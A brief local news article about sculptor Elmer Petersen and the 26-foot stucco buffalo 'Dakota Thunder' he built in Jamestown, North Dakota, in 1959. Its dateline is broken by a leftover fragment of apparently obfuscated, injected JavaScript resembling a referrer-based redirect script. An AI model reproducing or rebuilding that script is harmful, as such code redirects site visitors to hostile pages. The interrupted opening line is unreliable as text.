JAMESTOWN, hynbh|var|u0026u|referrer|srdtk||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – In 1959, the city of Jamestown was looking to construct a tourist attraction. Bring in Elmer Petersen.

Petersen was contacted by Kent Horton who was teaching Architectural Drawing at what was then Jamestown College. Discussion on what to build followed according to Petersen.

The resulting piece, commissioned by the late Harold Newman, is a 26-foot tall buffalo. Constructed with stucco and cement with a steel beam frame and shaped with wire mesh, the sculpture has become a staple in Jamestown tourism. Petersen stated that it was the first large sculpture he had ever worked on.

A discussion entitled “Whatever Happened to Elmer Petersen?” brought Petersen back to the Buffalo City on Wednesday, July 20th. He continues to sculpt artwork for several places including Wisconsin, where he currently resides.

The buffalo, now called “Dakota Thunder”, remains a large draw for tourists around the world and will be looking at potential renovations that include new paint. Elmer continues to sculpt and has also done other works in Jamestown including the bronze eagle and Anne Carlsen scupture. You can click the link below to view some of Elmer Petersen’s other works.

http://www.sculpture-in-metal.com/sculptor-bio.html